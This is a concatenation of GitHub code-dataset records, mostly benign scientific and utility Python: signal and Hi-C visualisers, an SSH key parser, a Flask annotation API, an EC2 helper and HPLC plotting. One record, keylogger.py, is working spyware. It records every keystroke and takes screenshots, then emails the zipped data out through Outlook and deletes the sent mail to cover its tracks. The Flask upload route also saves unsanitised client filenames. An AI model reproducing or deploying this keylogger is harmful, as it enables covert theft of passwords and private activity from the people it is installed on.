WIDTH / 2 - 5)\n elif i==1:\n pdf.image(f\"{i}.png\", 0, 100, WIDTH / 2 - 5)\n else:\n pdf.image(f\"{i}.png\", 0, 160, WIDTH / 2 - 5)\n\n\n freqs, times, spectrogram = signal.spectrogram(signals[0]['vals'])\n ecgspec = plt.imshow(spectrogram, aspect='auto', cmap='hot_r', origin='lower')\n ecgspec.figure.savefig(f'{i}spec.png')\n if i==0:\n pdf.image(f\"{i}spec.png\", WIDTH / 2, 30, WIDTH / 2 - 5)\n elif i==1:\n pdf.image(f\"{i}spec.png\", WIDTH / 2, 100, WIDTH / 2 - 5)\n else:\n pdf.image(f\"{i}spec.png\", WIDTH / 2, 160, WIDTH / 2 - 5)\n\n\nPDF(0)\nPDF(1)\nPDF(2)\npdf.output('Report.pdf', 'F')\n\n# Set UP\n\nwindow.title('signal viewer')\nfig = plt.figure(figsize=(10.0, 5.0), linewidth=30.0)\nax = fig.add_subplot(111)\n\n\nis_zoomed = False\nx_min, x_max = ax.get_xlim()\ny_min, y_max = ax.get_ylim()\ndef zoomin():\n global is_zoomed\n is_zoomed = True\n if is_zoomed:\n ax.set_xlim(x_min*2,x_max/2)\n ax.set_ylim(y_min,y_max/2)\ndef zoomout():\n global is_zoomed\n is_zoomed = False\n ax.set_xlim(x_min/2, x_max)\n ax.set_ylim(y_min, y_max*2)\n\n\nspectro = plt.figure(figsize=(10, 2))\nax.set_facecolor('#efefef')\nax2 = spectro.add_subplot(111)\nax2.set_facecolor('#efefef')\n\nis_paused = False\ni = 0\nj =0\n#@cache\ndef start(i):\n global is_paused\n global j\n if j>len(signals[i]['Elapsed time']):\n return\n is_paused = False\n window.after(1,plot(i,count=j))\n\ndef spec(i):\n plt.clf()\n freqs, times, spectrogram = signal.spectrogram(signals[i]['vals'])\n plt.imshow(spectrogram, aspect='auto', cmap='hot_r', origin='lower')\n plt.tight_layout()\n fig.canvas.draw()\n plt.ylim(0, 0.03)\n plt.draw()\n\nis_not_scrolled = True\nx, y = [], []\nc =0\ndef plot(i,count=0):\n global c\n if c != i:\n return\n playit = Button(master=window, text='Play', command=functools.partial(start,i))\n playit.place(x=0, y=500)\n global x\n global y\n global j\n j = count\n global is_zoomed\n if count > len(signals[i]['Elapsed time']):\n x,y=[],[]\n return\n if is_paused:\n return\n #ax.cla()\n x.append(signals[i]['Elapsed time'][count])\n y.append(signals[i]['vals'][count])\n\n ax.set_xlim(signals[i]['Elapsed time'][count] - 0.5*signals[i]['Elapsed time'][count], signals[i]['Elapsed time'][count] + 0.5*signals[i]['Elapsed time'][count])\n\n ax.plot(x, y, color='g', linewidth=3.0)\n\n fig.canvas.draw()\n window.after(1, lambda: plot(i,count =count + 100))\n\n\n# ecg plot\n\ndef stop():\n #ax.figure.clf()\n global is_paused\n is_paused = True\n\ndef reset():\n global c\n ax.set_xlim(0,signals[c]['Elapsed time'].max())\n ax.set_ylim(signals[c]['vals'].min(),signals[c]['vals'].max())\n fig.canvas.draw()\n\ndef ECGBUTT():\n global x\n global y\n global j\n global c\n c =0\n j=0\n x,y=[],[]\n ax.cla()\n spec(0)\n plot(0)\n\ndef EMGBUTT():\n global x\n global y\n global j\n global c\n c=1\n j=0\n x,y=[],[]\n ax.cla()\n spec(1)\n plot(1)\n\n\ndef voiceBUTT():\n global x\n global y\n global j\n global c\n c=2\n j=0\n x,y=[],[]\n ax.cla()\n spec(2)\n plot(2)\n#---------------------------------------------------------------\n\n# GUI\n\ncanvas = FigureCanvasTkAgg(fig, master=window)\ncanvas.get_tk_widget().grid(column=1,row=0)\ndef on_key_press(event):\n global is_not_scrolled\n global x\n global y\n global c\n x_min, x_max = ax.get_xlim()\n y_min,y_max = ax.get_ylim()\n if event.key == \"left\":\n if x_min>signals[c]['Elapsed time'].min():\n ax.set_xlim(x_max-0.002,x_max-0.001)\n fig.canvas.draw()\n if event.key == \"right\":\n if x_max<signals[c]['Elapsed time'].max():\n ax.set_xlim(x_min+0.001,x_min+0.002)\n fig.canvas.draw()\n if event.key == \"up\":\n if y_min>signals[c]['vals'].min():\n ax.set_ylim(y_min+0.1,y_max+0.2)\n fig.canvas.draw()\n if event.key == \"down\":\n if y_min<signals[c]['vals'].max():\n ax.set_ylim(y_min-0.1,y_max-0.1)\n fig.canvas.draw()\n if event.key == \"c\":\n ECGBUTT()\n if event.key == \"m\":\n EMGBUTT()\n if event.key ==\"v\":\n voiceBUTT()\n if event.key == \"z\":\n zoomin()\n if event.key == \"x\":\n zoomout()\n if event.key == \"p\":\n start(c)\n if event.key ==\"s\":\n stop()\n if event.key ==\"r\":\n reset()\ncanvas.mpl_connect(\n \"key_press_event\", on_key_press)\ncanvas = FigureCanvasTkAgg(spectro,master = window)\ncanvas.get_tk_widget().grid(column=1,row=1)\necgplot = Button(master=window, height=5, width=10, text='ECG', command=ECGBUTT)\necgplot.grid(column=0,row=0)\nemgplot = Button(master=window, height=5, width=10, text='EMG', command=EMGBUTT)\nemgplot.place(x=0,y=100)\nvoiceplot = Button(master=window, height=5, width=10, text='Voice', command=voiceBUTT)\nvoiceplot.place(x=0,y=320)\npauseit = Button(master = window, text='Pause',command = stop)\npauseit.place(x=0,y=450)\nresetit = Button(master = window,text='reset',command=reset)\nresetit.place(x=0,y=550)\nzoomit = Button(master = window, command = zoomin, text = '+')\nzoomit.place(x =1000, y=100)\nzooooom = Button(master=window,command=zoomout,text = '-')\nzooooom.place(x=1000,y=150)\nwindow.mainloop()","repo_name":"AhmedHabib00/Signal-Viewer","sub_path":"DSP.py","file_name":"DSP.py","file_ext":"py","file_size_in_byte":6397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17281366030","text":"#!/usr/bin/env python3\n\nimport base64\nimport datetime\nimport os\nimport struct\nimport subprocess\nfrom unittest import mock\n\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.serialization import load_ssh_public_key\n\nfrom ed25519 import *\nfrom public_key_utils import generic_attributes\nfrom public_key_utils import uuid_enrich, curve_enrich\n\nhere = os.path.dirname(__file__)\nDATETIME_FORMAT = \"%Y-%m-%d %H:%M:%S\"\n\n\ndef load_openssh_key(blob):\n \"\"\"returns a list of keys\"\"\"\n splits = blob.split(\" \")\n key_type = splits[0]\n key_blob = splits[1]\n\n keys = []\n if key_type == \"ssh-ed25519\":\n keys = [parse_ed25519(key_blob)]\n elif key_type.endswith(\"-cert-v01@openssh.com\"):\n keys = parse_certkey(blob)\n else:\n keys = [parse_generic(blob)]\n\n # compute uuid and add as key dict entry\n for k in keys:\n uuid_enrich(k)\n curve_enrich(k)\n\n return keys\n\n\ndef parse_certkey(key_blob):\n try:\n command = [\n \"go\", \"run\",\n os.path.join(here, \"parseCerts.go\"),\n key_blob\n ]\n\n output = subprocess.check_output(command)\n output_lines = output.decode(\"utf-8\", \"ignore\").split(\"\\n\")\n public_key = output_lines[0]\n signing_key = output_lines[1]\n principals = output_lines[2].split(\";\")\n\n raw_after = int(output_lines[3])\n raw_before = int(output_lines[4])\n\n # convert timestamps with larger precision\n max_timestamp_int_value = 2 ** 32 - 1\n\n while raw_after > max_timestamp_int_value:\n raw_after //= 10\n\n while raw_before > max_timestamp_int_value:\n raw_before //= 10\n\n valid_after = datetime.datetime.fromtimestamp(raw_after)\n valid_before = datetime.datetime.fromtimestamp(raw_before)\n\n try:\n valid_after = valid_after.strftime(DATETIME_FORMAT)\n except:\n print(valid_before)\n raise\n\n try:\n valid_before = valid_before.strftime(DATETIME_FORMAT)\n except:\n print(valid_before)\n raise\n\n parsed_key = load_openssh_key(public_key)[0]\n parsed_key[\"certkey_valid_principals\"] = principals\n parsed_key[\"certkey_valid_after\"] = valid_after\n parsed_key[\"certkey_valid_before\"] = valid_before\n parsed_key[\"is_certkey\"] = True\n\n parsed_signing_key = load_openssh_key(signing_key)[0]\n parsed_signing_key[\"signed_key_uuid\"] = parsed_key[\"uuid\"]\n return [parsed_key, parsed_signing_key]\n except:\n raise\n\n\ndef parse_generic(key_blob):\n with mock.patch(\"cryptography.hazmat.primitives.asymmetric.dsa._check_dsa_parameters\"):\n public_key = None\n try:\n public_key = load_ssh_public_key(key_blob.encode(\"utf-8\", \"ignore\"), default_backend())\n\n return generic_attributes(public_key)\n except AttributeError:\n print(public_key.__dict__)\n raise\n\n\ndef parse_ed25519(key_blob):\n b = base64.b64decode(key_blob)\n next_field_length_bytes = 4\n length = b[0:next_field_length_bytes]\n algo_name_length = struct.unpack(\">I\", length)[0]\n\n algo_name = b[next_field_length_bytes:next_field_length_bytes + algo_name_length].decode(\"utf-8\", \"ignore\")\n\n if algo_name != \"ssh-ed25519\":\n raise Exception(\"Not an ssh-ed25519 public key: {}\".format(algo_name))\n\n current_position = next_field_length_bytes + algo_name_length\n key_length = b[current_position:current_position + 4]\n key_length = struct.unpack(\">I\", key_length)[0]\n\n if key_length != 32:\n raise Exception(\"expecting ed25519 keys to be 32 bytes long\")\n\n current_position += 4\n\n key_bytes = b[current_position:current_position + key_length]\n\n x, y, _, _ = decodepoint(key_bytes)\n key_attributes = {\n \"key_size\": 256,\n \"curve\": \"Curve25519\",\n \"x\": x,\n \"y\": y,\n \"type\": \"ec\",\n }\n return key_attributes\n","repo_name":"kudelskisecurity/k-reaper","sub_path":"normalizers/openssh_loader.py","file_name":"openssh_loader.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"69"} +{"seq_id":"71144869019","text":"import serial\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport numpy as np\nfrom PIL import Image\n\n\n\nserial_port = serial.Serial('/dev/pts/2', 9600, timeout=1)\n\nfig = plt.figure()\n\nfig.suptitle('Dados do paciente', fontsize=16)\nax1 = fig.add_subplot(231)\nax2 = fig.add_subplot(232)\nax3 = fig.add_subplot(233)\nax4 = fig.add_subplot(234)\nax5 = fig.add_subplot(235)\nax6 = fig.add_subplot(236)\n\nxs = []\nresp = []\ncard = []\ntemp = []\nsat = []\nmaxPlist = []\nminPlist = []\n\nimg = Image.open('../data_visualizer/ufcg.jpg')\nax6.imshow(img)\nax6.spines['top'].set_visible(False)\nax6.spines['left'].set_visible(False)\nax6.spines['bottom'].set_visible(False)\nax6.spines['right'].set_visible(False)\nax6.set_xticks([])\nax6.set_yticks([])\n\ndef animate(i):\n\n maxP = 0\n minP = 0\n valueM = []\n valuem = []\n x = False\n\n value = serial_port.read()\n if(value == b''):\n print('There is no data available')\n else:\n xs.append(i)\n resp.append(value[0])\n temp.append(serial_port.read()[0])\n sat.append(serial_port.read()[0])\n card.append(serial_port.read()[0])\n\n value = serial_port.read()\n while(value[0] != 100):\n if(value[0] != 120) and not x:\n valueM.append(value[0] - 48)\n elif value[0] == 120:\n x = True\n elif (value[0] != 32):\n valuem.append(value[0] - 48)\n value = serial_port.read()\n\n for i in range(0, len(valueM)):\n maxP += valueM[len(valueM) - 1 - i]*(10**i)\n \n for i in range(0, len(valuem) - 1):\n minP += valuem[len(valuem) - 2 - i]*(10**i)\n \n maxPlist.append(maxP)\n minPlist.append(minP)\n \n if(len(xs) >= 100):\n xs.pop(0)\n resp.pop(0)\n card.pop(0)\n temp.pop(0)\n sat.pop(0)\n maxPlist.pop(0)\n minPlist.pop(0)\n\n\n ax1.clear()\n ax1.set_ylim([0,32])\n ax1.plot(xs, resp, 'tab:blue')\n ax1.set_title('Freq. Respiração x Tempo', fontsize=12)\n ax1.set_xlabel('Tempo (s)')\n ax1.set_ylabel('Frequencia (resp/min)')\n \n ax2.clear()\n ax2.set_ylim([0,220])\n ax2.plot(xs, card, 'tab:red')\n ax2.set_title('Freq. Cardíaca x Tempo', fontsize=12)\n ax2.set_xlabel('Tempo (s)')\n ax2.set_ylabel('Frequencia (bpm)')\n\n ax3.clear()\n ax3.set_ylim([0,50])\n ax3.plot(xs, temp, 'tab:orange')\n ax3.set_title('Temperatura x Tempo', fontsize=12)\n ax3.set_xlabel('Tempo (s)')\n ax3.set_ylabel('Temperatura (°C)')\n\n ax4.clear()\n ax4.set_ylim([0,101])\n ax4.plot(xs, sat, 'tab:green')\n ax4.set_title('Saturação de O2 x Tempo', fontsize=12)\n ax4.set_xlabel('Tempo (s)')\n ax4.set_ylabel('Saturação de O2 (\\%SpO2)')\n\n ax5.clear()\n ax5.set_ylim([0,250])\n ax5.plot(xs, maxPlist, 'tab:red')\n ax5.plot(xs, minPlist, 'tab:blue')\n ax5.set_title('Pressão arterial x Tempo', fontsize=12)\n ax5.set_xlabel('Tempo (s)')\n ax5.set_ylabel('Pressão arterial (mmHg)')\n ax5.legend(['sistólica', 'diastólica'])\nani = animation.FuncAnimation(fig, animate, interval=1000)\nplt.show()\nserial_port.close()\n\n","repo_name":"JoaoPi314/Respirador-Atmega328","sub_path":"controlador_frequencia/data_visualizer/serialCom.py","file_name":"serialCom.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37530128591","text":"import os\n\nimport flask\nfrom flask import Blueprint\n\nfrom .. import conf\nfrom ..backend import database\n\nmain_api = Blueprint('main_api', __name__)\n\nALLOWED_EXTENSIONS = set('json')\n\n\n# @main_api.route('/image/<string:img_id>/', methods=[\"GET\"])\n# def get_images(img_id):\n# \"\"\"\n# :param img_id: image id\n# :return: image\n# \"\"\"\n#\n# if flask.request.method == 'GET':\n# filename = database.get_image_path(img_id)\n# return flask.send_file(filename)\n#\n# return '', 400\n\n\n@main_api.route('/imagelist/', methods=[\"GET\"])\ndef get_image_list():\n \"\"\"\n :return: image list [image1, image2, ...]\n \"\"\"\n\n if flask.request.method == 'GET':\n image_list = database.get_image_list()\n return flask.jsonify(**image_list)\n return '', 400\n\n\n# @main_api.route('/', methods=[\"GET\"])\n# def get_preprocessed():\n# \"\"\"\n# :return: if GET, return preprocessed image and json file\n# \"\"\"\n# if flask.request.method == 'GET':\n# img_id, [yolo_result, pose_estm_result] = database.get_incomplete_img()\n# database.modify_collection_row(img_id, 'in_use', True)\n# content = {'image_id': img_id,\n# \"yolo_result\": yolo_result,\n# \"pose_estm_result\": pose_estm_result}\n# return flask.jsonify(**content)\n# return '', 400\n\n\n# @main_api.route('/<string:img_id>', methods=[\"GET\"])\n@main_api.route('/image/<string:img_id>/', methods=[\"GET\"])\ndef get_preprocessed(img_id):\n \"\"\"\n :return: if GET, return preprocessed image and json file\n \"\"\"\n if flask.request.method == 'GET':\n if not database.get_collection_value(img_id, 'preprocessed'):\n database.add_prior_preprocess_task(img_id)\n while not database.get_collection_value(img_id, 'preprocessed'):\n pass\n\n database.modify_collection_row(img_id, 'in_use', True)\n yolo_result_path = database.get_collection_value(img_id, 'preprocess_yolo')\n pose_estm_result_path = database.get_collection_value(img_id, 'preprocess_pose_estm')\n [yolo_result, pose_estm_result] = database.get_preprocessed_result(yolo_result_path,\n pose_estm_result_path)\n content = {'image_id': img_id,\n \"yolo_result\": yolo_result,\n \"pose_estm_result\": pose_estm_result}\n return flask.jsonify(**content)\n return '', 400\n\n\ndef allowed_file(filename):\n return '.' in filename and str.split(filename, '.')[1].lower() in ALLOWED_EXTENSIONS\n\n\n@main_api.route('/upload/<string:img_id>/', methods=[\"POST\"])\ndef upload(img_id):\n \"\"\"\n :return: status code\n \"\"\"\n if flask.request.method == 'POST':\n if 'file' not in flask.request.files:\n return '', 400\n file = flask.request.files['file']\n if file.filename == '' or not allowed_file(file.filename):\n return '', 400\n filename = file.filename\n file.save(os.path.join(conf.UPLOAD_PATH, filename))\n database.modify_collection_row(img_id, 'in_use', False)\n database.modify_collection_row(img_id, 'complete', True)\n database.modify_collection_row(img_id, 'complete_result',\n os.path.join(conf.UPLOAD_PATH, filename))\n return '', 200\n return '', 400\n","repo_name":"Evan-Zhao/semiauto-annotate","sub_path":"labelme_server/api/_view_functions.py","file_name":"_view_functions.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"19659455274","text":"# -*- coding: utf-8 -*-\nimport os\nimport argparse\nfrom pytadbit import Chromosome\n\ndef main():\n args = getArgs()\n samples = args.i\n output = args.o\n chr = args.c\n ncpu = args.p\n resolution=args.r\n species=args.s\n gbuild=args.b\n\n # initiate a chromosome object that will store all Hi-C data and analysis\n my_chrom = Chromosome(\n name=chr, # 染色体名\n centromere_search=True, # centromereを検出するか\n species=species,\n assembly=gbuild # genome build\n )\n for sample in samples:\n label, path = sample.split(\",\")\n print(label)\n print(path)\n getHiCData(my_chrom, output, label, path, resolution, ncpu)\n \n# if not os.path.exists('tdb'):\n # os.makedirs(\"tdb\")\n\n my_chrom.save_chromosome(output + \".tdb\", force=True)\n \ndef getArgs():\n parser = argparse.ArgumentParser(description = \"Generate and store TADbit chromosome object\")\n parser.add_argument(\"-i\", type=str, help = \"<label>,<PathToHiCData>\", nargs='+')\n parser.add_argument(\"-o\", type=str, help = \"Output name\", required=True)\n parser.add_argument(\"-c\", type=str, help = \"Chromosome\", required=True)\n parser.add_argument(\"-r\", type=int, help = \"resolution (default: 100000)\", required=False, default=100000)\n parser.add_argument(\"-s\", type=str, help = \"Species (default: Homo sapiens)\", required=False, default=\"Homo sapiens\")\n parser.add_argument(\"-b\", type=str, help = \"Genome build (default: GRCh38)\", required=False, default=\"GRCh38\")\n parser.add_argument(\"-p\", type=int, help = \"num of cpus (default: 1)\", required=False, default=1)\n args = parser.parse_args()\n return args\n\ndef getHiCData(Chr, output, label, HiCpath, resolution, ncpu):\n Chr.add_experiment(\n label,\n cell_type='wild type',\n exp_type='Hi-C',\n identifier=label,\n project='TADbit',\n hic_data=HiCpath,\n resolution=resolution\n )\n Chr.find_tad(label, n_cpus=ncpu)\n exp = Chr.experiments[label]\n exp.filter_columns(draw_hist=True, savefig=output + \".\" + label + \".histgram.png\")\n exp.normalize_hic(iterations=30, max_dev=0.1)\n# exp.tads\n #exp.view()\n Chr.visualize(exp.name, paint_tads=True, savefig=output + \".\" + label + \".Map.png\", show=False)\n Chr.tad_density_plot(label, savefig=output + \".\" + label + \".TAD.png\")\n\nif __name__ == \"__main__\":\n exit(main())\n\n","repo_name":"rnakato/docker_anaconda","sub_path":"rnakatoscript/TADbit/LoadMatrix.py","file_name":"LoadMatrix.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14192807559","text":"from pynput import keyboard\r\nimport logging\r\nimport PIL.ImageGrab as shot\r\nimport time\r\nfrom zipfile import ZipFile\r\nimport os\r\nimport win32com.client as win32\r\nimport sched\r\n\r\n\r\nclass Keylogger():\r\n\r\n def __init__(self, destination=None, time=None):\r\n \"\"\"\r\n Initialize the Keylogger class\r\n\r\n :param destination : (String) Email address \r\n :param time: (Int) Seconds\r\n\r\n \"\"\"\r\n self.last_word = [] # Store last word collected.\r\n self.files = [\"app.log\"] # Keep track of files generated.\r\n self.destination = destination # Destination email address for receving the data\r\n self.seconds = time\r\n\r\n logging.basicConfig(\r\n level=logging.INFO, \r\n filename=\"app.log\", \r\n filemode=\"a\",\r\n format= \"%(asctime)s - %(message)s\"\r\n ) \r\n \r\n def start(self):\r\n if self.seconds and self.destination:\r\n self.listener = keyboard.Listener(\r\n on_press=self._on_press, \r\n on_release=self._on_release)\r\n self.listener.start() # Starts the keyboard listener \r\n self._scheduler()\r\n else:\r\n with keyboard.Listener(\r\n on_press=self._on_press,\r\n on_release=self._on_release) as listener:\r\n listener.join()\r\n\r\n def _scheduler(self): \r\n \"\"\" \r\n Set up a scheduled task to tun the self._logic method\r\n \r\n :param time: (int) Seconds\r\n \"\"\" \r\n schedule = sched.scheduler(time.time)\r\n schedule.enter(self.seconds,1,self._logic) # After time seconds, it starts the logic function\r\n schedule.run() # Start the scheduler\r\n\r\n def _logic(self):\r\n self._compress_data()\r\n self._send_data()\r\n self._delete_email()\r\n self._delete_data()\r\n\r\n def log(self,key,special=None):\r\n \"\"\"\r\n Write a log into the app.log file.\r\n\r\n :param key: Keystroke\r\n :param special: (Boolean) Special or alphanumeric\r\n \r\n How this method works:\r\n First it checks whether the key given is special or alphanumeric. If it is\r\n indeed alphanumeric, it will just append it to the last_word list. \r\n\r\n If the key is scpecial, it will then check whether it is the 'space' or \r\n 'enter' keys:\r\n - space: It will join the letters contained in last_word and log it into\r\n the file.\r\n - enter: It will take a screenshot.\r\n\r\n The assumption is that every word is separated by space. Therefore, it makes\r\n sense to log it in that way for readability purposes. Also, another assumption\r\n has been made, that is, the user is more likely to press 'enter' when logging\r\n in to a website, submitting a form and so on and so forth. \r\n \r\n \"\"\"\r\n if special:\r\n if key is keyboard.Key.space:\r\n logging.info(f\"{''.join(self.last_word)}\")\r\n self.last_word = []\r\n elif key is keyboard.Key.enter:\r\n logging.info(f\"{''.join(self.last_word)}\")\r\n self.last_word = []\r\n logging.info(key)\r\n now = time.time()\r\n self.grab_screen(now)\r\n else:\r\n logging.info(f\"{''.join(self.last_word)}\")\r\n self.last_word = []\r\n logging.info(key)\r\n else:\r\n self.last_word.append(key)\r\n \r\n def _delete_data(self):\r\n \"\"\"\r\n Once the code has compressed all previosly \r\n gathered data, it will start to delete it.\r\n\r\n How this method works:\r\n\r\n The main idea behind it is to reduce the amount of data it has \r\n collected by getting rid of the data it had just been compressed.\r\n \r\n Additioanlly, by performing this action, once 'compress_data' is\r\n called again, it won't compress data that was already compressed.\r\n \"\"\"\r\n for f in self.files:\r\n os.remove(f)\r\n \r\n def _compress_data(self):\r\n \"\"\"\r\n Compress data collected into a zip file.\r\n This method compress the app.log alongsided all the screenshots \r\n the program has taken.\r\n \"\"\"\r\n logging.shutdown() # First, we need to stop logging otherwise the app.log file will not be deleted.\r\n \r\n with ZipFile(\"collected.zip\", \"w\") as myzip:\r\n for f in self.files:\r\n myzip.write(f) # Compress all files generated into a zip file.\r\n \r\n self.files.append(\"collected.zip\") # Add the zip file to the list in order to be deleted\r\n\r\n def _send_data(self):\r\n \"Send data via email to an specific email address\"\r\n \r\n outlook = win32.Dispatch(\"outlook.application\")\r\n mail = outlook.CreateItem(0)\r\n mail.To = self.destination\r\n mail.Subject = \"System Information\"\r\n mail.HTMLBody = \"Your message\"\r\n \r\n path = os.getcwd()\r\n attachment = f\"{path}\\collected.zip\"\r\n mail.Attachments.Add(attachment)\r\n mail.Send()\r\n\r\n def _delete_email(self):\r\n \"\"\"\r\n Delete the email sent from the user's inbox\r\n \r\n :param destination: (String) Destination email address\r\n \"\"\"\r\n outlook = win32.Dispatch(\"outlook.application\").GetNamespace(\"MAPI\")\r\n\r\n sent = outlook.GetDefaultFolder(5)\r\n deleted = outlook.GetDefaultFolder(3)\r\n\r\n deleted = deleted.Items\r\n sent = sent.Items\r\n\r\n deleted_len = len(deleted) \r\n sent_len = len(sent)\r\n\r\n if sent_len != 0:\r\n for x in range(sent_len, sent_len-5, -1):\r\n message = sent(x)\r\n if message.to == self.destination:\r\n message.Delete()\r\n\r\n if deleted_len != 0:\r\n for x in range(deleted_len, deleted_len-5, -1):\r\n try:\r\n message = deleted(x)\r\n if message.to == self.destination:\r\n message.Delete()\r\n except: \r\n pass\r\n \r\n def _on_press(self,key):\r\n try:\r\n print(f\"{key.char} pressed\")\r\n self.log(key.char)\r\n except AttributeError:\r\n print(f\"Special key {key}\")\r\n self.log(key, True)\r\n\r\n def _on_release(self,key):\r\n if key == keyboard.Key.esc:\r\n # Stop listener\r\n return False\r\n\r\n def grab_screen(self, name):\r\n \"\"\"\r\n Take a screenshot of the current screen.\r\n\r\n :param name: (float) Name for the file. This one corresponds\r\n to the time generated by utcnow()\r\n\r\n \"\"\"\r\n now = str(name).split(\".\") # Take only the seconds\r\n img = shot.grab() # Grab the screenshot\r\n name = f\"Shot-{now[0]}.png\" # Prepare the name for the file\r\n img.save(name) # Save the file to the current directory\r\n self.files.append(name) # Append the name to the files list.\r\n\r\nif __name__ == \"__main__\":\r\n klogger = Keylogger()\r\n klogger.start()\r\n ","repo_name":"DeVillax/SimpleKeyLogger","sub_path":"Keylogger/keylogger.py","file_name":"keylogger.py","file_ext":"py","file_size_in_byte":7513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31972938219","text":"import time\nfrom boto.ec2.connection import EC2Connection\nfrom boto.exception import EC2ResponseError\nfrom pycloud.utils.spinner import Spinner\nfrom pycloud.utils.console import Console\nfrom pycloud.utils.colors import magenta\nfrom pycloud.utils.colors import red\nfrom pycloud.utils.colors import white\nfrom pycloud.models.cloudservers import CloudServer\n\nclass EC2(object):\n\n def create(self, image_id, type_id, **kwargs):\n spinner = Spinner()\n console = Console()\n\n sleep_time = 0.200\n sleep_index = 0;\n tags = None\n\n if \"tags\" in kwargs:\n tags = kwargs['tags']\n del kwargs['tags']\n\n console.write_ln(white(\"Validating {}\".format(image_id), bold=True))\n\n image = None\n conn = EC2Connection()\n\n try:\n image = conn.get_image(image_id)\n except EC2ResponseError:\n console.write_ln(red(\"Invalid image id {}\".format(image_id), bold=True))\n return\n\n console.write_ln(white(\"Creating instance {} ({})\".format(image.name, image.id), bold=True))\n\n reservation = image.run(instance_type=type_id, **kwargs)\n\n instance = reservation.instances[0]\n\n console.write_ln(magenta('Waiting for instance to start'))\n # Check up on its status every so often\n\n status = instance.update()\n\n while status == 'pending':\n time.sleep(sleep_time)\n sleep_index += sleep_time\n\n if int(sleep_index) == 10:\n sleep_index = 0\n status = instance.update()\n\n console.write(magenta(\"Building {} \".format(white(spinner.next()))))\n\n if status == 'running':\n console.write(magenta('New instance \"' + instance.id + '\" accessible @ ' + instance.public_dns_name))\n else:\n console.write(red('Instance status: ' + status))\n return\n\n console.write_ln(\"\")\n\n if tags:\n time.sleep(1)\n conn.create_tags([instance.id], tags)\n\n status = instance.update()\n\n server = CloudServer()\n server.dns_name = instance.public_dns_name\n server.id = instance.id\n server.ip_address = instance.ip_address\n\n return server\n\n def get_servers(self, filters=None):\n console = Console()\n console.write_ln(white(\"Retrieving servers\", bold=True))\n\n conn = EC2Connection()\n results = []\n try:\n reservations = conn.get_all_instances(filters=filters)\n except EC2ResponseError:\n console.write_ln(red('Unable to retrieve servers '))\n return results\n\n for reservation in reservations:\n instance = reservation.instances[0]\n server = CloudServer()\n server.dns_name = instance.public_dns_name\n server.id = instance.id\n server.ip_address = instance.ip_address\n server.image_id = instance.image_id\n server.type_id = instance.instance_type\n results.append(server)\n\n return results\n\n def terminate_servers(self, ids):\n console = Console()\n console.write_ln(white(\"Terminating servers ({})\".format(ids), bold=True))\n\n conn = EC2Connection()\n\n try:\n conn.terminate_instances(ids)\n except EC2ResponseError:\n console.write_ln(red('Unable to terminate servers {}'.format(ids)))\n\n\n","repo_name":"theladyjaye/pycloud","sub_path":"pycloud/providers/amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"70878405981","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef open_PDA(file_path):\n # Open the file and read its contents\n with open(file_path, \"r\") as file:\n lines = file.readlines()\n\n # Extract PDA information in .txt file (depend of HPLC software)\n PDA_data = []\n PDA_info = []\n for i, line in enumerate(lines):\n if i < 11:\n PDA_info.append(line)\n elif i > 11:\n row = list(map(int, line.split()))\n PDA_data.append(row)\n\n PDA_data = np.array(PDA_data)\n\n # Extract PDA info and save in dictionary\n data_dict = {}\n for item in PDA_info:\n item = item.replace(\"\\n\", \"\")\n item = item.replace(\",\", \".\")\n key, value = item.split(\"\\t\")\n data_dict[key] = value\n\n # Print the resulting dictionary\n # print(data_dict)\n\n # Save useful information of the PDA\n useful_dic = {}\n useful_dic[\"START_TIME\"] = float(data_dict[\"START_TIME\"].replace(\"min\", \"\"))\n useful_dic[\"END_TIME\"] = float(data_dict[\"END_TIME\"].replace(\"min\", \"\"))\n useful_dic[\"START_WL\"] = float(data_dict[\"START_WL\"].replace(\"nm\", \"\"))\n useful_dic[\"END_WL\"] = float(data_dict[\"END_WL\"].replace(\"nm\", \"\"))\n print(useful_dic)\n\n PDA_shape = PDA_data.shape\n time = np.linspace(useful_dic[\"START_TIME\"], useful_dic[\"END_TIME\"], PDA_shape[0])\n wavelength = np.linspace(useful_dic[\"START_WL\"], useful_dic[\"END_WL\"], PDA_shape[1])\n\n return PDA_data, time, wavelength\n\n\ndef plot_pda(PDA_data, time, wavelength, save_path=\"None\"):\n X, Y = np.meshgrid(time, wavelength)\n Z = PDA_data.T\n levels = np.linspace(Z.min(), Z.max(), 1000)\n\n fig, ax = plt.subplots(figsize=(12, 4))\n\n ax.set_xlabel(\"Residence time [min]\")\n ax.set_ylabel(\"Wavelength [nm]\")\n cs = ax.contourf(\n X,\n Y,\n Z,\n levels=levels,\n cmap=plt.cm.rainbow,\n ) # contour plot\n fig.colorbar(cs) # color bar\n plt.gca().invert_yaxis()\n plt.show()\n\n\ndef plot_by_wavelength(PDA_data, time, wl_list):\n fig, ax = plt.subplots(figsize=(10, 5)) # Creating figure,ax\n ax.set_xlim(left=0)\n ax.set_ylabel(\"Intensity\")\n ax.set_xlabel(\"Retention time [min]\")\n\n for wl in wl_list:\n index = np.where(wavelength == wl)[0]\n chroma_data = PDA_data[:, index]\n ax.plot(time, chroma_data, label=str(wl) + \"nm\")\n\n plt.xticks(np.arange(time[0], time[-1], step=1))\n plt.legend()\n plt.grid()\n plt.show()\n\n\ndef mix_plot(PDA_data, time, wl_list):\n fig, (ax1, ax2) = plt.subplots(\n 2, sharex=True, figsize=(10, 8), gridspec_kw={\"height_ratios\": [2, 1]}\n 